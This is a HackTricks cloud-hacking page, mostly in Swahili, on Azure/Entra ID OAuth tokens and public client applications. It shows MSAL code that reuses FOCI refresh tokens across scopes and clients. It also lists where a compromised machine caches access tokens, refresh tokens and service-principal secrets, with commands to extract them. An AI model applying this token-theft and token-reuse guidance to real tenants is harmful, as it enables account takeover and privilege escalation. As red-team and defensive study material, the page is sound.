Az - Tokens & Public Applications
Reading time: 11 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na š¬ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter š¦ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Basic Information
Entra ID ni jukwaa la usimamizi wa utambulisho na ufikiaji (IAM) la Microsoft linalotegemea wingu, likihudumia kama mfumo wa msingi wa uthibitishaji na idhini kwa huduma kama Microsoft 365 na Azure Resource Manager. Azure AD inatekeleza mfumo wa idhini wa OAuth 2.0 na itifaki ya uthibitishaji ya OpenID Connect (OIDC) ili kusimamia ufikiaji wa rasilimali.
OAuth
Washiriki Wakuu katika OAuth 2.0:
- Seva ya Rasilimali (RS): Inalinda rasilimali zinazomilikiwa na mmiliki wa rasilimali.
- Mmiliki wa Rasilimali (RO): Kawaida ni mtumiaji wa mwisho anaye miliki rasilimali zilizolindwa.
- Programu ya Mteja (CA): Programu inayotafuta ufikiaji wa rasilimali kwa niaba ya mmiliki wa rasilimali.
- Seva ya Idhini (AS): Inatoa alama za ufikiaji kwa programu za mteja baada ya kuthibitisha na kuidhinisha.
Mikondo na Idhini:
- Mikondo: Ruhusa za kina zilizofafanuliwa kwenye seva ya rasilimali ambazo zinaelezea viwango vya ufikiaji.
- Idhini: Mchakato ambao mmiliki wa rasilimali anatoa ruhusa kwa programu ya mteja kufikia rasilimali zenye mikondo maalum.
Ushirikiano wa Microsoft 365:
- Microsoft 365 inatumia Azure AD kwa IAM na ina programu nyingi za "first-party" za OAuth.
- Programu hizi zimeunganishwa kwa kina na mara nyingi zina uhusiano wa huduma zinazohusiana.
- Ili kurahisisha uzoefu wa mtumiaji na kudumisha kazi, Microsoft inatoa "idhini iliyodhaniwa" au "idhini ya awali" kwa programu hizi za first-party.
- Idhini Iliyodhaniwa: Programu fulani zinapewa moja kwa moja ufikiaji wa mikondo maalum bila idhini ya wazi ya mtumiaji au msimamizi.
- Mikondo hii iliyodhaniwa kwa kawaida inafichwa kutoka kwa watumiaji na wasimamizi, na kuifanya iwe na mwonekano mdogo katika interfaces za usimamizi wa kawaida.
Aina za Programu za Mteja:
- Wateja wa Siri:
- Wana akreditif zao wenyewe (mfano, nywila au vyeti).
- Wanaweza kujithibitisha kwa usalama kwa seva ya idhini.
- Wateja wa Umma:
- Hawana akreditif za kipekee.
- Hawawezi kujithibitisha kwa usalama kwa seva ya idhini.
- Athari za Usalama: Mshambuliaji anaweza kujifanya kuwa programu ya mteja wa umma anapohitaji alama, kwani hakuna mekanizma kwa seva ya idhini kuthibitisha uhalali wa programu.
Authentication Tokens
Kuna aina tatu za alama zinazotumika katika OIDC:
- Access Tokens: Mteja anawasilisha alama hii kwa seva ya rasilimali ili kufikia rasilimali. Inaweza kutumika tu kwa mchanganyiko maalum wa mtumiaji, mteja, na rasilimali na haiwezi kufutwa hadi ipite muda - yaani, saa 1 kwa default.
- ID Tokens: Mteja anapata alama hii kutoka kwa seva ya idhini. Inajumuisha taarifa za msingi kuhusu mtumiaji. Inafungwa kwa mchanganyiko maalum wa mtumiaji na mteja.
- Refresh Tokens: Zinapeanwa kwa mteja pamoja na alama ya ufikiaji. Zinatumika kupata alama mpya za ufikiaji na ID. Inafungwa kwa mchanganyiko maalum wa mtumiaji na mteja na inaweza kufutwa. Muda wa kawaida wa kuisha ni siku 90 kwa alama za refresh zisizofanya kazi na hakuna muda wa kuisha kwa alama za kazi (kutoka kwa alama ya refresh inawezekana kupata alama mpya za refresh).
- Alama ya refresh inapaswa kuunganishwa na
aud
, kwa baadhi ya mikondo, na kwa tenant na inapaswa kuwa na uwezo wa kuzalisha alama za ufikiaji kwa hiyo aud, mikondo (na hakuna zaidi) na tenant. Hata hivyo, hii si hali kwa FOCI applications tokens. - Alama ya refresh imefichwa na ni Microsoft pekee inayoweza kuifungua.
- Kupata alama mpya ya refresh hakufuti alama ya refresh ya awali.
warning
Taarifa za ufikiaji wa masharti zime hifadhiwa ndani ya JWT. Hivyo, ikiwa unahitaji alama kutoka anwani ya IP iliyoidhinishwa, hiyo IP itakuwa hifadhiwa katika alama na kisha unaweza kutumia alama hiyo kutoka IP isiyoidhinishwa kufikia rasilimali.
Access Tokens "aud"
Uwanja ulioonyeshwa katika uwanja wa "aud" ni seva ya rasilimali (programu) inayotumika kufanya kuingia.
Amri az account get-access-token --resource-type [...]
inasaidia aina zifuatazo na kila moja itongeza "aud" maalum katika alama ya ufikiaji inayotokana:
caution
Kumbuka kwamba yafuatayo ni APIs zinazosaidiwa na az account get-access-token
lakini kuna zaidi.
aud examples
- aad-graph (Azure Active Directory Graph API): Inatumika kufikia Azure AD Graph API ya zamani (iliyotengwa), ambayo inaruhusu programu kusoma na kuandika data ya directory katika Azure Active Directory (Azure AD).
https://graph.windows.net/
- arm (Azure Resource Manager): Inatumika kusimamia rasilimali za Azure kupitia API ya Azure Resource Manager. Hii inajumuisha operesheni kama kuunda, kuboresha, na kufuta rasilimali kama vile mashine za virtual, akaunti za uhifadhi, na zaidi.
-
https://management.core.windows.net/ or https://management.azure.com/
-
batch (Azure Batch Services): Inatumika kufikia Azure Batch, huduma inayowezesha programu za kompyuta za kiwango kikubwa na za utendaji wa juu kwa ufanisi katika wingu.
-
https://batch.core.windows.net/
- data-lake (Azure Data Lake Storage): Inatumika kuingiliana na Azure Data Lake Storage Gen1, ambayo ni huduma ya uhifadhi wa data na uchambuzi inayoweza kupanuka.
-
https://datalake.azure.net/
-
media (Azure Media Services): Inatumika kufikia Azure Media Services, ambazo zinatoa huduma za usindikaji na usambazaji wa media zinazotegemea wingu kwa maudhui ya video na sauti.
-
https://rest.media.azure.net
- ms-graph (Microsoft Graph API): Inatumika kufikia Microsoft Graph API, kiunganishi kilichounganishwa kwa data za huduma za Microsoft 365. Inakuwezesha kufikia data na maarifa kutoka kwa huduma kama Azure AD, Office 365, Enterprise Mobility, na huduma za Usalama.
-
https://graph.microsoft.com
-
oss-rdbms (Azure Open Source Relational Databases): Inatumika kufikia huduma za Azure Database kwa injini za hifadhidata za uhusiano za chanzo wazi kama MySQL, PostgreSQL, na MariaDB.
-
https://ossrdbms-aad.database.windows.net
Access Tokens Scopes "scp"
Mikondo ya alama ya ufikiaji inahifadhiwa ndani ya ufunguo wa scp ndani ya alama ya JWT ya ufikiaji. Mikondo hii inaelezea kile alama ya ufikiaji ina ufikiaji nacho.
Ikiwa JWT inaruhusiwa kuwasiliana na API maalum lakini haina mikondo ya kufanya kitendo kilichohitajika, haitakuwa na uwezo wa kufanya kitendo hicho na JWT hiyo.
Get refresh & access token example
# Code example from https://github.com/secureworks/family-of-client-ids-research
import msal
import requests
import jwt
from pprint import pprint
from typing import Any, Dict, List
# LOGIN VIA CODE FLOW AUTHENTICATION
azure_cli_client = msal.PublicClientApplication(
"04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client
)
device_flow = azure_cli_client.initiate_device_flow(
scopes=["https://graph.microsoft.com/.default"]
)
print(device_flow["message"])
# Perform device code flow authentication
azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow(
device_flow
)
pprint(azure_cli_bearer_tokens_for_graph_api)
# DECODE JWT
def decode_jwt(base64_blob: str) -> Dict[str, Any]:
"""Decodes base64 encoded JWT blob"""
return jwt.decode(
base64_blob, options={"verify_signature": False, "verify_aud": False}
)
decoded_access_token = decode_jwt(
azure_cli_bearer_tokens_for_graph_api.get("access_token")
)
pprint(decoded_access_token)
# GET NEW ACCESS TOKEN AND REFRESH TOKEN
new_azure_cli_bearer_tokens_for_graph_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
# Same scopes as original authorization
scopes=["https://graph.microsoft.com/.default"],
)
)
pprint(new_azure_cli_bearer_tokens_for_graph_api)
Other access token fields
- appid: Kitambulisho cha Programu kinachotumika kutengeneza tokeni
- appidacr: Kielelezo cha Muktadha wa Uthibitishaji wa Programu kinaonyesha jinsi mteja alivyothibitishwa, kwa mteja wa umma thamani ni 0, na ikiwa siri ya mteja inatumika thamani ni 1
- acr: Kielelezo cha Muktadha wa Uthibitishaji kinadai "0" wakati uthibitishaji wa mtumiaji wa mwisho haukukidhi mahitaji ya ISO/IEC 29115.
- amr: Njia ya uthibitishaji inaonyesha jinsi tokeni ilivyothibitishwa. Thamani ya āpwdā inaonyesha kuwa nenosiri lilitumika.
- groups: Inaonyesha vikundi ambavyo kiongozi ni mwanachama.
- iss: Masuala yanaonyesha huduma ya tokeni ya usalama (STS) ambayo ilitengeneza tokeni. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (uuid ni kitambulisho cha mpangilio)
- oid: Kitambulisho cha kitu cha kiongozi
- tid: Kitambulisho cha Mpangilio
- iat, nbf, exp: Imetolewa wakati (ilipotolewa), Si kabla (haiwezi kutumika kabla ya wakati huu, kawaida thamani sawa na iat), Wakati wa kuisha.
FOCI Tokens Privilege Escalation
Kabla ilisemwa kwamba tokeni za upya zinapaswa kuunganishwa na mipaka ambayo ilitengenezwa nayo, kwa programu na mpangilio ambayo ilitengenezwa kwake. Ikiwa mojawapo ya mipaka hii itavunjwa, inawezekana kupandisha mamlaka kwani itakuwa inawezekana kutengeneza tokeni za ufikiaji kwa rasilimali nyingine na mipangilio ambayo mtumiaji anaweza kufikia na kwa mipaka zaidi kuliko ilivyokusudiwa awali.
Zaidi ya hayo, hii inawezekana na tokeni zote za upya katika Microsoft identity platform (akaunti za Microsoft Entra, akaunti za kibinafsi za Microsoft, na akaunti za kijamii kama Facebook na Google) kwa sababu kama nyaraka zinavyosema: "Tokeni za upya zimefungwa kwa mchanganyiko wa mtumiaji na mteja, lakini hazifungwi kwa rasilimali au mpangilio. Mteja anaweza kutumia tokeni ya upya kupata tokeni za ufikiaji katika mchanganyiko wowote wa rasilimali na mpangilio ambapo ana ruhusa ya kufanya hivyo. Tokeni za upya zimefungwa na ni Microsoft identity platform pekee inayoweza kuzisoma."
Zaidi ya hayo, kumbuka kwamba programu za FOCI ni programu za umma, hivyo siri haitahitajika kuthibitisha kwa seva.
Kisha wateja wa FOCI waliotambulika waliripotiwa katika utafiti wa awali wanaweza kupatikana hapa.
Get different scope
Following with the previous example code, in this code it's requested a new token for a different scope:
# Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
new_azure_cli_bearer_tokens_for_graph_api.get(
"refresh_token"
),
# But different scopes than original authorization
scopes=[
"https://outlook.office.com/.default"
],
)
)
pprint(azure_cli_bearer_tokens_for_outlook_api)
Pata wateja tofauti na mipaka
# Code from https://github.com/secureworks/family-of-client-ids-research
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
microsoft_office_bearer_tokens_for_graph_api = (
# This is a different client application than we used in the previous examples
microsoft_office_client.acquire_token_by_refresh_token(
# But we can use the refresh token issued to our original client application
azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
# And request different scopes too
scopes=["https://graph.microsoft.com/.default"],
)
)
# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)
Mahali pa kupata tokens
Kutoka kwa mtazamo wa washambuliaji, ni ya kuvutia sana kujua ni wapi inawezekana kupata access na refresh tokens wakati kwa mfano PC ya mwathirika imeathirika:
- Ndani ya
<HOME>/.Azure
azureProfile.json
ina taarifa kuhusu watumiaji walioingia kutoka zamaniclouds.config contains
taarifa kuhusu usajiliservice_principal_entries.json
ina akreditif za programu (tenant id, clients na siri). Tu katika Linux & macOSmsal_token_cache.json
ina access tokens na refresh tokens. Tu katika Linux & macOSservice_principal_entries.bin
na msal_token_cache.bin vinatumika katika Windows na vimefungwa kwa DPAPImsal_http_cache.bin
ni cache ya ombi la HTTP- Pakua:
with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)
AzureRmContext.json
ina taarifa kuhusu kuingia kwa awali kutumia Az PowerShell (lakini hakuna akreditif)- Ndani ya
C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*
kuna faili kadhaa za.bin
zenye access tokens, ID tokens na taarifa za akaunti zilizofungwa kwa DPAPI ya watumiaji. - Inawezekana kupata zaidi access tokens katika faili za
.tbres
ndani yaC:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\
ambazo zina base64 iliyofungwa kwa DPAPI yenye access tokens. - Katika Linux na macOS unaweza kupata access tokens, refresh tokens na id tokens kutoka Az PowerShell (ikiwa imetumika) ukikimbia
pwsh -Command "Save-AzContext -Path /tmp/az-context.json"
- Katika Windows hii inazalisha tu id tokens.
- Inawezekana kuona kama Az PowerShell ilitumika katika Linux na macOS kwa kuangalia kama
$HOME/.local/share/.IdentityService/
ipo (ingawa faili zilizomo ni tupu na hazina matumizi) - Ikiwa mtumiaji ameingia ndani ya Azure kwa kivinjari, kulingana na post inawezekana kuanza mchakato wa uthibitishaji kwa kuhamasisha kwa localhost, kufanya kivinjari kiidhinishe kiotomatiki kuingia, na kupokea refresh token. Kumbuka kuwa kuna programu chache za FOCI zinazoruhusu kuhamasisha kwa localhost (kama az cli au moduli ya powershell), hivyo programu hizi lazima ziaruhusiwe.
Marejeo
- https://github.com/secureworks/family-of-client-ids-research
- https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na š¬ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter š¦ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.